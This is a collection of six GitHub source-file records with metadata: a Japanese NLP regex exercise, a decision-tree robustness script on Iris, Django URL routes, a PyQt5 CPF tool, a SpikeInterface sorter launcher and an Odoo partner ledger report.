{"seq_id": "4165975674", "text": "# 必要なモジュールのインポート\nimport gzip\nimport json\nimport re\n\ndef search():\n    with gzip.open('chart3/jawiki-country.json.gz',mode='rt',encoding='utf-8') as f:\n        for line in f:\n            json_load = json.loads(line)\n            if json_load['title'] == 'イギリス':\n                return json_load['text']\n\n#findall(pattern, string)\t正規表現にマッチする部分文字列を全て探しだしリストとして返します。\nresult = re.findall(r'^(.*\\[\\[Category:.*\\]\\].*)$',search(),re.MULTILINE)\n\n    \nfor line in result:\n    line = line.strip(r'^(.*\\[\\[Category:')\n    line = line.strip(r'.*\\]\\].*)$')\n    print(line.strip(r'.\\|元$'))#無理やり", "repo_name": "noite-m/nlp2020", "sub_path": "chart3/practice22.py", "file_name": "practice22.py", "file_ext": "py", "file_size_in_byte": 691, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "gzip.open", "line_number": 7, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 9, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 14, "usage_type": "call"}, {"api_name": "re.MULTILINE", "line_number": 14, "usage_type": "attribute"}]}
{"seq_id": "40353711606", "text": "import numpy as np\r\nfrom sklearn.datasets import load_iris\r\nfrom sklearn import tree\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nfrom Functions import create_box_thresholds\r\nfrom Functions import boxes_with_labels\r\nfrom Functions import create_covariance_matrix\r\nfrom Functions import calculate_robustness\r\nfrom Functions import calculate_numerical_robustness\r\n\r\n# Some fixed values\r\nseed = 123\r\ndeepness = 4\r\n\r\n# Load the Iris dataset\r\niris = load_iris()\r\nX, y = iris.data, iris.target\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.1)\r\n\r\n# Basic Decision Tree Classifier\r\nclf = tree.DecisionTreeClassifier(max_depth=deepness, random_state=seed)\r\nclf = clf.fit(X_train, y_train)\r\n\r\n# Test Datapoint\r\ncoordinates = np.array([1, 1, 1, 1])\r\n\r\n# Covariance Matrix\r\ncov = np.array([[1,0,0,0],[0,1,0,0],[0,0,1,0],[0,0,0,1]])\r\n\r\n# Classification according to the classifier\r\nlabel = clf.predict([coordinates])[0]\r\nprint('Predicted label:', label)\r\n\r\n# Get the number of features\r\ntree_num_features = clf.tree_.n_features\r\ntree_node_count = clf.tree_.node_count\r\ntree_features = clf.tree_.feature\r\ntree_thresholds = clf.tree_.threshold\r\n\r\n# Get the box thresholds\r\nBOX = create_box_thresholds(tree_num_features, tree_node_count, tree_features, tree_thresholds)\r\n\r\n# Get all the boxes into a fataframe\r\nboxes = boxes_with_labels(tree_num_features, BOX)\r\n\r\n# Determine the label for each box (here we subtract 0.01 to make sure we get the right label)\r\n#boxes['class'] = clf.predict(boxes[list(boxes.columns[1::2])]-0.01)\r\nboxes['class'] = clf.predict(1/2*(boxes.values[:,1::2] + boxes.values[:,:-1:2]))\r\n\r\n# Expand the boxes to infinity in both directions\r\nboxes = boxes.replace(1000000.0, np.inf)\r\nboxes = boxes.replace(-1000000.0, -np.inf)\r\n\r\n# Only keep the boxes that have the label of the test point\r\nboxes = boxes[boxes['class'] == label]\r\n\r\nprint('Number of boxes:', boxes.shape[0])\r\n\r\n# Result\r\nrob = calculate_robustness(coordinates, cov, boxes)\r\nprint('Robustness of the datapoint ' + str(coordinates) + ': ' + str(rob))\r\n\r\n# Result\r\nrob = calculate_numerical_robustness(coordinates, cov, boxes, tree_num_features)\r\nprint('Robustness of the datapoint ' + str(coordinates) + ' with numerical integration: ' + str(rob))\r\n\r\nimport scipy.special as sc\r\n\r\n#print(boxes.shape)\r\nr=0\r\n# We take the boxes where 99% of the surface is reached\r\nwhile (sc.gammainc(tree_num_features/2, r**2/2) < 0.99):\r\n    r+=1\r\n\r\n# Eliminate the boxes that are outside of the 99% confidence ellipse\r\nfor i in range(tree_num_features):\r\n    boxes = boxes[boxes['T'+str(i+1)]>=coordinates[i]-r*np.sqrt(cov[i][i])]\r\n    boxes = boxes[boxes['B'+str(i+1)]<=coordinates[i]+r*np.sqrt(cov[i][i])]\r\n    \r\n#print(boxes.shape)\r\nprint('Number of boxes in 99% confidence ellipse:', boxes.shape[0])\r\n\r\n# Result\r\nrob = calculate_robustness(coordinates, cov, boxes)\r\nprint('Robustness of the datapoint ' + str(coordinates) + ' in 99% confidence ellipse: ' + str(rob))\r\n", "repo_name": "cschweimer/Robustness_of_trees_based_classifiers", "sub_path": "Robustness_DT_Iris.py", "file_name": "Robustness_DT_Iris.py", "file_ext": "py", "file_size_in_byte": 2966, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sklearn.datasets.load_iris", "line_number": 17, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 19, "usage_type": "call"}, {"api_name": "sklearn.tree.DecisionTreeClassifier", "line_number": 22, "usage_type": "call"}, {"api_name": "sklearn.tree", "line_number": 22, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "Functions.create_box_thresholds", "line_number": 42, "usage_type": "call"}, {"api_name": "Functions.boxes_with_labels", "line_number": 45, "usage_type": "call"}, {"api_name": "numpy.inf", "line_number": 52, "usage_type": "attribute"}, {"api_name": "numpy.inf", "line_number": 53, "usage_type": "attribute"}, {"api_name": "Functions.calculate_robustness", "line_number": 61, "usage_type": "call"}, {"api_name": "Functions.calculate_numerical_robustness", "line_number": 65, "usage_type": "call"}, {"api_name": "scipy.special.gammainc", "line_number": 73, "usage_type": "call"}, {"api_name": "scipy.special", "line_number": 73, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 78, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 79, "usage_type": "call"}, {"api_name": "Functions.calculate_robustness", "line_number": 85, "usage_type": "call"}]}
{"seq_id": "37647687355", "text": "from django.conf.urls import url\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n    url(r'^$', views.home, name='home'),\r\n    url(r'country$', views.country, name='country'),\r\n    url(r'city$', views.city, name='city'),\r\n    url(r'itinerary$', views.itinerary, name='itinerary'),\r\n    url(r'^api/get_cities/', views.get_cities, name='get_cities'),\r\n    url(r'user/logout$', views.logout, name='logout')\r\n]\r\n", "repo_name": "Thebasic123/GlobeTrotter", "sub_path": "globetrotter/app/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 401, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.conf.urls.url", "line_number": 5, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 6, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 7, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 8, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 9, "usage_type": "call"}, {"api_name": "django.conf.urls.url", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "17083672926", "text": "import sys\nfrom Modulos.PyQT5_.dados_cpf.validador_cpf import valida_cpf\nfrom Modulos.PyQT5_.dados_cpf.gerador_cpf import gera_cpf\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\n# Importando o layout criado no qtdesing\n\nfrom Modulos.PyQT5_.dados_cpf import design_cpf\n\n\nclass GeravalidaCPF(QMainWindow, design_cpf.Ui_MainWindow):\n    def __init__(self, parent=None):\n        super().__init__(parent)\n        super().setupUi(self)\n\n        self.btnGeraCPF.clicked.connect(self.gera_cpf)\n        self.btnValidaCPF.clicked.connect(self.valida_cpf)\n\n    def gera_cpf(self):\n        self.labelRetorno.setText(\n            str(gera_cpf())\n        )\n\n    def valida_cpf(self):\n        cpf = self.inputValidaCPF.text()\n        self.labelRetorno.setText(\n            str(valida_cpf(cpf))\n        )\n\n\nif __name__ == '__main__':\n    qt = QApplication(sys.argv)\n    gera_valida_cpf = GeravalidaCPF()\n    gera_valida_cpf.show()\n    qt.exec_()\n", "repo_name": "eliasantoniorodrigues1/modulos_uteis_python", "sub_path": "PyQT5_/dados_cpf/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 937, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 10, "usage_type": "name"}, {"api_name": "Modulos.PyQT5_.dados_cpf.design_cpf.Ui_MainWindow", "line_number": 10, "usage_type": "attribute"}, {"api_name": "Modulos.PyQT5_.dados_cpf.design_cpf", "line_number": 10, "usage_type": "name"}, {"api_name": "Modulos.PyQT5_.dados_cpf.gerador_cpf.gera_cpf", "line_number": 20, "usage_type": "call"}, {"api_name": "Modulos.PyQT5_.dados_cpf.validador_cpf.valida_cpf", "line_number": 26, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 31, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 31, "usage_type": "attribute"}]}
{"seq_id": "29660994057", "text": "\"\"\"\nUtils functions to launch several sorter on several recording in parralell or not.\n\"\"\"\nimport os\nfrom pathlib import Path\nimport multiprocessing\nimport shutil\nimport json\nimport traceback\nimport json\n\nfrom spikeinterface.core import load_extractor\n\nfrom .sorterlist import sorter_dict\n\n\ndef _run_one(arg_list):\n    # the multiprocessing python module force to have one unique tuple argument\n    sorter_name, recording, output_folder, verbose, sorter_params = arg_list\n    if isinstance(recording, dict):\n        recording = load_extractor(recording)\n    else:\n        recording = recording\n\n    SorterClass = sorter_dict[sorter_name]\n\n    # because this is checks in run_sorters before this call\n    remove_existing_folder = False\n    # result is retrieve later\n    delete_output_folder = False\n    # because we won't want the loop/worker to break\n    raise_error = False\n\n    # only classmethod call not instance (stateless at instance level but state is in folder)\n    output_folder = SorterClass.initialize_folder(recording, output_folder, verbose, remove_existing_folder)\n    SorterClass.set_params_to_folder(recording, output_folder, sorter_params, verbose)\n    SorterClass.setup_recording(recording, output_folder, verbose=verbose)\n    SorterClass.run_from_folder(output_folder, raise_error, verbose)\n\n\n_implemented_engine = ('loop', 'joblib', 'dask')\n\n\ndef run_sorters(sorter_list,\n                recording_dict_or_list,\n                working_folder,\n                sorter_params={},\n                mode_if_folder_exists='raise',\n                engine='loop',\n                engine_kwargs={},\n                verbose=False,\n                with_output=True,\n                ):\n    \"\"\"\n    This run several sorter on several recording.\n    Simple implementation are nested loops or with multiprocessing.\n\n    sorter_list: list of str (sorter names)\n    recording_dict_or_list: a dict (or a list) of recording\n    working_folder : str\n\n    engine = None ( = 'loop') or 'multiprocessing'\n    processes = only if 'multiprocessing' if None then processes=os.cpu_count()\n    verbose=True/False to control sorter verbosity\n\n    Note: engine='multiprocessing' use the python multiprocessing module.\n    This do not allow to have subprocess in subprocess.\n    So sorter that already use internally multiprocessing, this will fail.\n\n    Parameters\n    ----------\n\n    sorter_list: list of str\n        List of sorter name.\n\n    recording_dict_or_list: dict or list\n        A dict of recording. The key will be the name of the recording.\n        In a list is given then the name will be recording_0, recording_1, ...\n\n    working_folder: str\n        The working directory.\n\n    sorter_params: dict of dict with sorter_name as key\n        This allow to overwrite default params for sorter.\n\n    mode_if_folder_exists: 'raise_if_exists' or 'overwrite' or 'keep'\n        The mode when the subfolder of recording/sorter already exists.\n            * 'raise' : raise error if subfolder exists\n            * 'overwrite' : delete and force recompute\n            * 'keep' : do not compute again if f=subfolder exists and log is OK\n\n    engine: str\n        'loop', 'joblib', or 'dask'\n\n    engine_kwargs: dict\n        This contains kwargs specific to the launcher engine:\n            * 'loop' : no kwargs\n            * 'joblib' : {'n_jobs' : } number of processes\n            * 'dask' : {'client':} the dask client for submiting task\n            \n    verbose: bool\n        default True\n\n    with_output: bool\n        return the output.\n\n    run_sorter_kwargs: dict\n        This contains kwargs specific to run_sorter function:\\\n            * 'raise_error' :  bool\n            * 'parallel' : bool\n            * 'n_jobs' : int\n            * 'joblib_backend' : 'loky' / 'multiprocessing' / 'threading'\n\n    Returns\n    ----------\n\n    results : dict\n        The output is nested dict[(rec_name, sorter_name)] of SortingExtractor.\n\n    \"\"\"\n    working_folder = Path(working_folder)\n\n    mode_if_folder_exists in ('raise', 'keep', 'overwrite')\n\n    if mode_if_folder_exists == 'raise' and working_folder.is_dir():\n        raise Exception('working_folder already exists, please remove it')\n\n    assert engine in _implemented_engine, f'engine must be in {_implemented_engine}'\n\n    if isinstance(sorter_list, str):\n        sorter_list = [sorter_list]\n\n    for sorter_name in sorter_list:\n        assert sorter_name in sorter_dict, f'{sorter_name} is not in sorter list'\n\n    if isinstance(recording_dict_or_list, list):\n        # in case of list\n        recording_dict = {'recording_{}'.format(i): rec for i, rec in enumerate(recording_dict_or_list)}\n    elif isinstance(recording_dict_or_list, dict):\n        recording_dict = recording_dict_or_list\n    else:\n        raise ValueError('bad recording dict')\n\n    need_dump = engine != 'loop'\n    task_args_list = []\n    for rec_name, recording in recording_dict.items():\n        for sorter_name in sorter_list:\n\n            output_folder = working_folder / str(rec_name) / sorter_name\n\n            if output_folder.is_dir():\n                # sorter folder exists\n                if mode_if_folder_exists == 'raise':\n                    raise (Exception('output folder already exists for {} {}'.format(rec_name, sorter_name)))\n                elif mode_if_folder_exists == 'overwrite':\n                    shutil.rmtree(str(output_folder))\n                elif mode_if_folder_exists == 'keep':\n                    if is_log_ok(output_folder):\n                        continue\n                    else:\n                        shutil.rmtree(str(output_folder))\n\n            params = sorter_params.get(sorter_name, {})\n            if need_dump:\n                if not recording.is_dumpable:\n                    raise Exception('recording not dumpable call recording.save() before')\n                recording_arg = recording.to_dict()\n            else:\n                recording_arg = recording\n            task_args = (sorter_name, recording_arg, output_folder, verbose, params)\n            task_args_list.append(task_args)\n\n    if engine == 'loop':\n        # simple loop in main process\n        for task_args in task_args_list:\n            _run_one(task_args)\n\n    elif engine == 'joblib':\n        from joblib import Parallel, delayed\n        n_jobs = engine_kwargs.get('n_jobs', -1)\n        backend = engine_kwargs.get('backend', 'loky')\n        Parallel(n_jobs=n_jobs, backend=backend)(\n            delayed(_run_one)(task_args) for task_args in task_args_list)\n\n    elif engine == 'dask':\n        client = engine_kwargs.get('client', None)\n        assert client is not None, 'For dask engine you have to provide : client = dask.distributed.Client(...)'\n\n        tasks = []\n        for task_args in task_args_list:\n            task = client.submit(_run_one, task_args)\n            tasks.append(task)\n\n        for task in tasks:\n            task.result()\n\n    if with_output:\n        if engine == 'dask':\n            print('Warning!! With engine=\"dask\" you cannot have directly output results\\n' \\\n                  'Use : run_sorters(..., with_output=False)\\n' \\\n                  'And then: results = collect_sorting_outputs(output_folders)')\n            return\n\n        results = collect_sorting_outputs(working_folder)\n        return results\n\n\ndef is_log_ok(output_folder):\n    # log is OK when run_time is not None\n    if (output_folder / 'spikeinterface_log.json').is_file():\n        with open(output_folder / 'spikeinterface_log.json', mode='r', encoding='utf8') as logfile:\n            log = json.load(logfile)\n            run_time = log.get('run_time', None)\n            ok = run_time is not None\n            return ok\n    return False\n\n\ndef iter_output_folders(output_folders):\n    output_folders = Path(output_folders)\n    for rec_name in os.listdir(output_folders):\n        if not os.path.isdir(output_folders / rec_name):\n            continue\n        for sorter_name in os.listdir(output_folders / rec_name):\n            output_folder = output_folders / rec_name / sorter_name\n            if not os.path.isdir(output_folder):\n                continue\n            if not is_log_ok(output_folder):\n                continue\n            yield rec_name, sorter_name, output_folder\n\n\ndef iter_sorting_output(output_folders):\n    \"\"\"\n    Iterator over output_folder to retrieve all triplets\n    (rec_name, sorter_name, sorting)\n    \"\"\"\n    for rec_name, sorter_name, output_folder in iter_output_folders(output_folders):\n        SorterClass = sorter_dict[sorter_name]\n        sorting = SorterClass.get_result_from_folder(output_folder)\n        yield rec_name, sorter_name, sorting\n\n\ndef collect_sorting_outputs(output_folders):\n    \"\"\"\n    Collect results in a output_folders.\n\n    The output is a  dict with double key access results[(rec_name, sorter_name)] of SortingExtractor.\n    \"\"\"\n    results = {}\n    for rec_name, sorter_name, sorting in iter_sorting_output(output_folders):\n        results[(rec_name, sorter_name)] = sorting\n    return results\n", "repo_name": "caniko/spikeinterface", "sub_path": "spikeinterface/sorters/launcher.py", "file_name": "launcher.py", "file_ext": "py", "file_size_in_byte": 8999, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "81", "api": [{"api_name": "spikeinterface.core.load_extractor", "line_number": 21, "usage_type": "call"}, {"api_name": "sorterlist.sorter_dict", "line_number": 25, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 121, "usage_type": "call"}, {"api_name": "sorterlist.sorter_dict", "line_number": 134, "usage_type": "name"}, {"api_name": "shutil.rmtree", "line_number": 156, "usage_type": "call"}, {"api_name": "shutil.rmtree", "line_number": 161, "usage_type": "call"}, {"api_name": "joblib.Parallel", "line_number": 182, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 183, "usage_type": "call"}, {"api_name": "json.load", "line_number": 212, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 220, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 221, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 222, "usage_type": "call"}, {"api_name": "os.path", "line_number": 222, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 224, "usage_type": "call"}, {"api_name": "os.path.isdir", "line_number": 226, "usage_type": "call"}, {"api_name": "os.path", "line_number": 226, "usage_type": "attribute"}, {"api_name": "sorterlist.sorter_dict", "line_number": 239, "usage_type": "name"}]}
{"seq_id": "34070611441", "text": "# -*- coding: utf-8 -*-\n\nfrom datetime import datetime\nfrom odoo import api, models, _\nfrom odoo.exceptions import UserError\nfrom odoo.tools import DEFAULT_SERVER_DATE_FORMAT\n\n\nclass ReportPartnerLedger(models.AbstractModel):\n    _name = 'report.gts_financial_pdf_report.report_partnerledger'\n\n\n    def _get_report_values(self, docids, data=None):\n        # print('_get_report_values on report.gts_financial_pdf_report.report_partnerledger')\n\n        if not data.get('form'):\n            raise UserError(_(\"Form content is missing, this report cannot be printed.\"))\n\n        data['computed'] = {}\n\n        obj_partner = self.env['res.partner']\n\n        query_get_data = self.env['account.move.line'].with_context(data['form'].get('used_context', {}))._query_get()\n        data['computed']['move_state'] = ['draft', 'posted']\n        if data['form'].get('target_move', 'all') == 'posted':\n            data['computed']['move_state'] = ['posted']\n        result_selection = data['form'].get('result_selection', 'customer')\n        if result_selection == 'supplier':\n            data['computed']['ACCOUNT_TYPE'] = ['payable']\n        elif result_selection == 'customer':\n            data['computed']['ACCOUNT_TYPE'] = ['receivable']\n        else:\n            data['computed']['ACCOUNT_TYPE'] = ['payable', 'receivable']\n\n        self.env.cr.execute(\"\"\"\n               SELECT a.id\n               FROM account_account a\n               WHERE a.internal_type IN %s\n               AND NOT a.deprecated\"\"\", (tuple(data['computed']['ACCOUNT_TYPE']),))\n        data['computed']['account_ids'] = [a for (a,) in self.env.cr.fetchall()]\n        params = [tuple(data['computed']['move_state']), tuple(data['computed']['account_ids'])] + query_get_data[2]\n        reconcile_clause = \"\" if data['form']['reconciled'] else ' AND \"account_move_line\".reconciled = false '\n        query = \"\"\"\n               SELECT DISTINCT \"account_move_line\".partner_id\n               FROM \"\"\" + query_get_data[0] + \"\"\", account_account AS account, account_move AS am\n               WHERE \"account_move_line\".partner_id IS NOT NULL\n                   AND \"account_move_line\".account_id = account.id\n                   AND am.id = \"account_move_line\".move_id\n                   AND am.state IN %s\n                   AND \"account_move_line\".account_id IN %s\n                   AND NOT account.deprecated\n                   AND \"\"\" + query_get_data[1] + reconcile_clause\n        self.env.cr.execute(query, tuple(params))\n        partner_ids = [res['partner_id'] for res in self.env.cr.dictfetchall()]\n        partners = obj_partner.browse(partner_ids)\n        partners = sorted(partners, key=lambda x: (x.ref or '', x.name or ''))\n        print(\"partners\",partners)\n        # return {\n        #     'doc_ids': partner_ids,\n        #     'doc_model': self.env['res.partner'],\n        #     'data': data,\n        #     'docs': partners,\n        #     'time': time,\n        #     'lines': self._lines,\n        #     'name': 12000,\n        #     'sum_partner': self._sum_partner,\n        #     'credit_limit': 23550000.00,\n        #     # 'result':self._partner_ledger,\n        #     'partner_ledger':self.partner_ledger,\n        #\n        # }\n\n\n\n    def _lines(self, data, partner):\n        # print(\"data\",data)\n        # print(\"partner\",partner)\n        full_account = []\n        company_id=data['form']['company_id'][0]\n        currency = self.env['res.currency']\n        print(company_id)\n\n        # Initial Balance Calculation\n        sum = 0.0\n        init_balance = data['form'].get('initial_balance', True)\n        if init_balance:\n            init_query_get_data = self.env['account.move.line'].with_context(\n                date_from=data['form'].get('date_from'), date_to=False, initial_bal=True,strict_range=True)._query_get()\n            _init_params = [company_id,partner.id, tuple(data['computed']['move_state']), tuple(data['computed']['account_ids'])] + \\\n                           init_query_get_data[2]\n\n            if data['form'].get('target_move') == 'all':\n                # new_string=query_get_data[1].replace(\"date\",\"date\")\n                new_string = init_query_get_data[1].replace('\"account_move_line\".\"date\"',\n                                                            'case when (\"account_move_line\".collection_date is null) then \"account_move_line\".\"date\" ELSE \"account_move_line\".collection_date END')\n                init_query_get_data = list(init_query_get_data)\n                init_query_get_data.pop(1)\n                init_query_get_data.insert(1, new_string)\n                init_query_get_data = tuple(init_query_get_data)\n\n            query = \"\"\"\n                     SELECT '' as id, '' as date, '' as code, '' as a_code, '' as a_name, 'Opening Balance' as ref, '' as move_name, '' as name,COALESCE(SUM(\"account_move_line\".debit),0.0) as debit,COALESCE(SUM(\"account_move_line\".credit),0.0) as credit, '' as amount_currency, '' as currency_id, '' AS currency_code, '' as remarks\n                                FROM account_move_line\n                                LEFT JOIN account_journal j ON (\"account_move_line\".journal_id = j.id)\n                                LEFT JOIN account_account acc ON (\"account_move_line\".account_id = acc.id)\n                                LEFT JOIN res_currency c ON (\"account_move_line\".currency_id=c.id)\n                                LEFT JOIN account_move m ON (m.id=\"account_move_line\".move_id)\n                                LEFT JOIN sale_order so on (so.name=m.invoice_origin and so.company_id = m.company_id and m.type = 'out_invoice')\n                                WHERE m.company_id=%s AND \"account_move_line\".partner_id = %s\n                                    AND m.state IN %s \n                                    AND case when m.state = 'draft' then (m.is_draft_invoice is null or m.is_draft_invoice = false) else 1 = 1 end\n                                    AND \"account_move_line\".account_id IN %s AND \"\"\" + init_query_get_data[1] + \"\"\"\n                                    \"\"\"\n\n            self.env.cr.execute(query, tuple(_init_params))\n            _int_res = self.env.cr.dictfetchall()\n\n            lang_code = self.env.context.get('lang') or 'en_US'\n            lang = self.env['res.lang']\n            lang_id = lang._lang_get(lang_code)\n            date_format = lang_id.date_format\n            for r in _int_res:\n                # r['date'] = datetime.strptime(str(r['date']), DEFAULT_SERVER_DATE_FORMAT).strftime(date_format)\n                r['displayed_name'] = '-'.join(\n                    r[field_name] for field_name in ('move_name', 'ref', 'name')\n                    if r[field_name] not in (None, '', '/')\n                )\n                sum += r['debit'] - r['credit']\n                r['progress'] = sum\n                r['currency_id'] = currency.browse(r.get('currency_id'))\n                full_account.append(r)\n\n        query_get_data = self.env['account.move.line'].with_context(data['form'].get('used_context', {}))._query_get()\n\n        if data['form'].get('target_move') == 'all':\n            # new_string=query_get_data[1].replace(\"date\",\"date\")\n            new_string=query_get_data[1].replace('\"account_move_line\".\"date\"','case when (\"account_move_line\".collection_date is null) then \"account_move_line\".\"date\" ELSE \"account_move_line\".collection_date END')\n            query_get_data=list(query_get_data)\n            query_get_data.pop(1)\n            query_get_data.insert(1,new_string)\n            query_get_data=tuple(query_get_data)\n\n\n        reconcile_clause = \"\" if data['form']['reconciled'] else ' AND \"account_move_line\".reconciled = false '\n        params = [company_id,partner.id, tuple(data['computed']['move_state']), tuple(data['computed']['account_ids'])] + query_get_data[2]\n        query = \"\"\"\n            SELECT \"account_move_line\".id, \"account_move_line\".date, j.code, acc.code as a_code, acc.name as a_name, \"account_move_line\".ref,\"account_move_line\".move_id, \n            CASE WHEN m.state = 'draft' THEN 'Draft' ELSE m.name END as move_name, \n            \"account_move_line\".name, \"account_move_line\".debit, \"account_move_line\".credit, \"account_move_line\".amount_currency,\"account_move_line\".currency_id, c.symbol AS currency_code, so.note as remarks\n            FROM \"\"\" + query_get_data[0] + \"\"\"\n            LEFT JOIN account_journal j ON (\"account_move_line\".journal_id = j.id)\n            LEFT JOIN account_account acc ON (\"account_move_line\".account_id = acc.id)\n            LEFT JOIN res_currency c ON (\"account_move_line\".currency_id=c.id)\n            LEFT JOIN account_move m ON (m.id=\"account_move_line\".move_id)\n\t\t\tLEFT JOIN sale_order so on (so.name=m.invoice_origin and so.company_id = m.company_id and m.type = 'out_invoice')\n            WHERE m.company_id=%s AND \"account_move_line\".partner_id = %s AND case when m.state = 'draft' then (m.is_draft_invoice is null or m.is_draft_invoice = false) else 1 = 1 end\n                AND m.state IN %s\n                AND \"account_move_line\".account_id IN %s AND \"\"\" + query_get_data[1] + reconcile_clause + \"\"\"\n                ORDER BY \"account_move_line\".date, \"account_move_line\".id asc \"\"\"\n\n        if data['form'].get('target_move') == 'all':\n            pass\n        query = \"\"\"\n                        SELECT \"account_move_line\".id, case when (\"account_move_line\".collection_date is null) then \"account_move_line\".date ELSE \"account_move_line\".collection_date END as date, \n                        j.code, acc.code as a_code, acc.name as a_name, \"account_move_line\".ref,\"account_move_line\".move_id, \n                        CASE WHEN m.state = 'draft' THEN 'Draft' ELSE m.name END as move_name, \n                        \"account_move_line\".name, \"account_move_line\".debit, \"account_move_line\".credit, \"account_move_line\".amount_currency,\"account_move_line\".currency_id, c.symbol AS currency_code, so.note as remarks\n                        FROM \"\"\" + query_get_data[0] + \"\"\"\n                        LEFT JOIN account_journal j ON (\"account_move_line\".journal_id = j.id)\n                        LEFT JOIN account_account acc ON (\"account_move_line\".account_id = acc.id)\n                        LEFT JOIN res_currency c ON (\"account_move_line\".currency_id=c.id)\n                        LEFT JOIN account_move m ON (m.id=\"account_move_line\".move_id)\n            \t\t\tLEFT JOIN sale_order so on (so.name=m.invoice_origin and so.company_id = m.company_id and m.type = 'out_invoice')\n                        WHERE m.company_id=%s AND \"account_move_line\".partner_id = %s AND case when m.state = 'draft' then (m.is_draft_invoice is null or m.is_draft_invoice = false) else 1 = 1 end\n                            AND m.state IN %s\n                            AND \"account_move_line\".account_id IN %s AND \"\"\" + query_get_data[1] + reconcile_clause + \"\"\"\n                            ORDER BY \"account_move_line\".date, \"account_move_line\".id asc \"\"\"\n        self.env.cr.execute(query, tuple(params))\n        res = self.env.cr.dictfetchall()\n        #sum = 0.0\n        lang_code = self.env.context.get('lang') or 'en_US'\n        lang = self.env['res.lang']\n        lang_id = lang._lang_get(lang_code)\n        date_format = lang_id.date_format\n        for r in res:\n            r['date'] = datetime.strptime(str(r['date']), DEFAULT_SERVER_DATE_FORMAT).strftime(date_format)\n            r['displayed_name'] = '-'.join(\n                r[field_name] for field_name in ('move_name', 'ref', 'name')\n                if r[field_name] not in (None, '', '/')\n            )\n            sum += r['debit'] - r['credit']\n            r['progress'] = sum\n            r['currency_id'] = currency.browse(r.get('currency_id'))\n            move_id = r['move_id']\n            r['move_id'] = move_id\n            full_account.append(r)\n        print(\"full_account\",full_account)\n        return full_account\n\n    def _sum_partner(self, data, partner, field):\n        company_id=data['form']['company_id'][0]\n        if field not in ['debit', 'credit', 'debit - credit']:\n            return\n        result = 0.0\n\n        # query_get_data = self.env['account.move.line'].with_context(data['form'].get('used_context', {}))._query_get()\n\n        query_get_data = self.env['account.move.line'].with_context(\n            date_from=False, date_to=False, initial_bal=False, strict_range=True)._query_get()\n\n        # reconcile_clause = \"\" if data['form']['reconciled'] else ' AND \"account_move_line\".reconciled = false '\n\n        reconcile_clause = ' \"account_move_line\".reconciled = true '\n\n        params = [company_id, partner.id, tuple(data['computed']['move_state']), tuple(data['computed']['account_ids'])] + query_get_data[2]\n\n\n\n        # query = \"\"\"SELECT sum(\"\"\" + field + \"\"\")\n        #         FROM \"\"\" + query_get_data[0] + \"\"\", account_move AS m\n        #         WHERE \"account_move_line\".partner_id = %s\n        #             AND m.id = \"account_move_line\".move_id\n        #             AND m.state IN %s\n        #             AND account_id IN %s\n        #             AND \"\"\" + query_get_data[1] + reconcile_clause\n\n        query = \"\"\"SELECT sum(\"\"\" + field + \"\"\")\n                        FROM account_move_line, account_move AS m\n                        WHERE m.company_id=%s AND \"account_move_line\".partner_id = %s\n                            AND m.id = \"account_move_line\".move_id\n                            AND m.state IN %s                            \n\t\t\t\t\t\t\tAND CASE WHEN m.state = 'draft' THEN (m.is_draft_invoice is null or m.is_draft_invoice = false) ELSE 1 = 1 END\n                            AND account_id IN %s\n                            \"\"\"\n\n\n        self.env.cr.execute(query, tuple(params))\n\n        contemp = self.env.cr.fetchone()\n        print(\"contemp\",contemp)\n        if contemp is not None:\n            result = contemp[0] or 0.0\n        return result\n\n", "repo_name": "mosadiqit/eerna_erp_uslbd", "sub_path": "gts_financial_pdf_report/report/account_partner_ledger.py", "file_name": "account_partner_ledger.py", "file_ext": "py", "file_size_in_byte": 13825, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "odoo.models.AbstractModel", "line_number": 9, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 9, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 17, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 17, "usage_type": "call"}, {"api_name": "datetime.datetime.strptime", "line_number": 186, "usage_type": "call"}, {"api_name": "odoo.tools.DEFAULT_SERVER_DATE_FORMAT", "line_number": 186, "usage_type": "argument"}, {"api_name": "datetime.datetime", "line_number": 186, "usage_type": "name"}]}
